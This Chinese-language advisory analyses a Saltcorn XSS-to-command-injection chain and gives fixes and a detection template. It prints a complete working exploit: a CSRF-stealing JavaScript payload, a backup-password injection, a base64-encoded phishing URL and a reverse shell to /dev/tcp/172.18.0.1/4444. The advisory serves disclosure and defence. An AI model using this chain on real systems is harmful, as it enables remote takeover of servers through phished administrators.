GHSA-cr3w-cw5w-h3fj:Saltcorn 中的 1-Click RCE
对 GHSA-cr3w-cw5w-h3fj 的分析,这是 Saltcorn(≤ 1.5.0-beta.19)中一个 CVSS 9.7 严重级别的 XSS 到 RCE 漏洞。两个相互串联的缺陷——路由参数中的反射型 XSS 与备份生成过程中的命令注入——可通过对管理员实施钓鱼来实现远程代码执行。
GHSA-cr3w-cw5w-h3fj
Saltcorn 中的 1-Click RCE 2026 年 2 月 24 日 · CVSS 9.7 严重 · Saltcorn ≤ 1.5.0-beta.19
| CVE | CVSS | 受影响版本 | 已修复版本 |
|---|---|---|---|
| 未分配 | 9.7 严重 | ≥ 1.1.1, < 1.5.0-beta.19 | 1.5.0-beta.19+ |
1. 技术概览:Saltcorn 中的 XSS 到 RCE 漏洞利用链
Saltcorn 是一个开源、数据库优先的 Web 应用构建工具,带有用于页面/代码编辑、备份和系统管理的管理界面。
GHSA-cr3w-cw5w-h3fj 之所以严重,并不是因为某一个单独的缺陷,而是因为它串联了两个漏洞:
- 参数渲染中的反射型 XSS
- 备份命令构造中的命令注入
单独来看,每个缺陷都会带来安全风险。组合在一起时,它们能让攻击者在管理员打开一个经过特制的链接时执行操作系统命令。
2. 路由参数中的反射型 XSS
在直到 1.5.0-beta.19 的受影响版本中,路由参数 name 会未经 HTML 转义就作为 sub2_page 和 page_title 直接流入 send_admin_page()。
存在漏洞的代码模式:
router.get(
"/edit-codepage/:name",
isAdmin,
error_catcher(async (req, res) => {
const { name } = req.params; // raw user input, no sanitization
// ...
send_admin_page({
res,
req,
page_title: req.__(`%s code page`, name), // unescaped
sub2_page: req.__(`%s code page`, name), // unescaped → breadcrumb
// ...
});
})
);
send_admin_page() 会调用 packages/server/markup/admin.js 中的 send_settings_page(),后者会将 sub2_page 原封不动地作为最后一个面包屑节点的文本放入:
// packages/server/markup/admin.js (commit 020893c)
res.sendWrap(title, {
above: [
{
type: "breadcrumbs",
crumbs: [
{ text: req.__("Settings"), href: "/settings" },
{ text: req.__(active_sub), href: "..." },
...(sub2_page
? [{ text: sub2_page }] // ← name value inserted here, no escaping
: [])
],
},
// ...
],
});
res.sendWrap() 会将 sub2_page 作为原始 HTML 渲染到 \<a> 标签内部。name 中的任何 HTML 都会在浏览器中执行。
由于 name 会未经净化就流入渲染出来的 UI 文本,攻击者可控的值便成为了可执行的 HTML/JavaScript。
恶意请求示例:
GET /admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E HTTP/1.1
Host: target

受影响版本中渲染出的输出:
... <a> <img src=x onerror=alert(document.domain)> code page </a> ...
3. 备份密码处理中的命令注入
第二个漏洞存在于备份生成过程中,那里会使用字符串插值构造一条 shell 命令,然后再执行它。
存在漏洞的模式(backup.ts):
const cmd = `zip -5 -rq ${backup_password ? `-P "${backup_password}" ` : ""}"${absZipPath}" .`;
exec(cmd, { cwd: tmpDir }, (error) => { ... });
backup_password 被直接注入到一条 shell 命令字符串中。一个恶意的值可以突破 -P "..." 上下文并追加 shell 语法。
恶意密码示例:
";$(id);#
最终执行的命令:
zip -5 -rq -P "";$(id);#" "/tmp/backup.zip" .
当触发备份时,这会在服务器上下文中导致任意命令执行。

4. 端到端利用:串联 XSS 与命令注入
完成利用需要两个组成部分:一个嵌入在钓鱼页面中的武器化载荷,以及用于将其投递给已认证管理员的社会工程手段。
第 1 步:命令注入载荷
fetch('/admin/backup')
.then(r => r.text())
.then(html => {
var c = html.match(/name="_csrf" value="([^"]+)"/)[1];
fetch('/admin/set-backup-prefix', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: '_csrf=' + c + '&backup_file_prefix=sc-backup-&backup_history=on&backup_password=%22%3B%24%28bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F4444%200%3E%261%20%26%27%29%3B%22'
}).then(() =>
fetch('/admin/backup', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: '_csrf=' + c
})
)
});
backup_password 参数包含一段经 URL 编码的 shell 转义。解码后,它对应于:
";$(bash -c 'bash -i >& /dev/tcp/172.18.0.1/4444 0>&1 &');"
服务器执行上下文:
zip -5 -rq -P "";$(bash -c 'bash -i >& /dev/tcp/172.18.0.1/4444 0>&1 &');"" "/tmp/backup.zip" .
第 2 步:XSS 载荷
来自钓鱼页面的恶意 URL 嵌入了一个使用 Base64 编码的多层载荷,以绕过简单的过滤器:
http://localhost:3000/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%22ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk%3D%22%29%29%3E
解码后的 XSS 载荷:
<img src=x onerror=eval(atob("ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk="))>
5. 概念验证:端到端 XSS 到 RCE 利用
这个概念验证针对一个存在漏洞的 saltcorn/saltcorn:1.4.1 部署,演示了一条完整的 XSS 到 RCE 利用链,并通过一个恶意的管理员侧载荷实现远程命令执行。
version: '3'
services:
postgres:
image: postgres:15
environment:
POSTGRES_USER: saltcorn
POSTGRES_PASSWORD: saltcorn
POSTGRES_DB: saltcorn
volumes:
- postgres-data:/var/lib/postgresql/data
saltcorn:
image: saltcorn/saltcorn:1.4.1
ports:
- "3000:3000"
environment:
PGHOST: postgres
PGUSER: saltcorn
PGPASSWORD: saltcorn
PGDATABASE: saltcorn
PGPORT: 5432
SALTCORN_SESSION_SECRET: fixedsecret
volumes:
- saltcorn-data:/home/saltcorn/.config/saltcorn
depends_on:
- postgres
command: serve
volumes:
postgres-data:
saltcorn-data:
执行流程:
- 攻击者终端: 建立一个监听器以接收反弹 shell。

- 受害者操作: 管理员点击该恶意链接。

http://localhost:3000/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%22ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk%3D%22%29%29%3E
- 反弹 shell 已建立: 整条链在不到 2 秒内完成执行,为攻击者提供了远程访问权限。

对管理员而言,整个过程几乎是不可见的,仅表现为一次短暂的浏览器跳转。
| 影响 |
|---|
| 一旦实现命令执行,攻击者就可以: • 读取应用密钥和配置 • 植入持久化后门 • 向相连的服务横向移动 • 破坏完整性和可用性 |
6. 修复:Saltcorn 1.5.0 中的补丁与缓解措施
Saltcorn 1.5.0 版本独立地修复了这两个漏洞。单独实施其中任意一项修复,都足以打断该漏洞利用链。
修复 1:输入转义
在下游渲染之前对路由/查询参数进行转义。
const escape_param = (obj) => {
const out = {};
for (const [k, v] of Object.entries(obj))
out[k] = typeof v === "string" ? text(v) : v;
return out;
};
req.params = escape_param(req.params);
req.query = escape_param(req.query);
修复 2:安全的命令执行
用 spawn(binary, args) 替换 exec(string),并将密码作为普通参数传入(不经过 shell 插值):
const args = ["-5", "-rq"];
if (backup_password) args.push("-P", backup_password);
args.push(absZipPath, ".");
spawn("zip", args, { cwd: tmpDir, shell: false });
这消除了 shell 字符串注入的原语。
7. 使用 Ostorlab KEV 检测 Saltcorn XSS 到 RCE
GHSA-cr3w-cw5w-h3fj(Saltcorn XSS 到 RCE 链)已被纳入 Ostorlab 的已知被利用漏洞(KEV)检测套件。KEV agent group 在大规模暴露的服务上执行自动化扫描,在统一的工作流下编排 Nmap、Tsunami、Asteroid、Nuclei 和 Metasploit 等工具。
Nuclei 模板
我们为这则安全公告专门开发了一个 Nuclei 模板,并将其加入了 KEV 仓库。
与侵入式的漏洞利用验证不同,该模板在无需认证的情况下执行基于安全反射的检测:
- 向
/page/sc\<xss\>nuclei发起 GET 请求 —— 向一个公开的路由参数中注入尖括号。 - 响应体匹配检查 —— 验证载荷
sc\<xss\>nuclei是否未经编码地被反射回来。 - 否定匹配检查 —— 确保其编码形式
sc<xss>nuclei不会出现。 - Saltcorn 指纹识别 —— 通过
_sc_version_tag标记确认其存在。
检测要求所有匹配条件都成立:反射存在、编码缺失,且已识别出 Saltcorn。
该模板确认了使命令注入链得以成立的那个存在漏洞的 XSS 原语,而不会触发备份或执行命令。
完整模板可在 Ostorlab KEV 仓库中获取: github.com/Ostorlab/KEV/blob/main/nuclei/GHSA-cr3w-cw5w-h3fj.yaml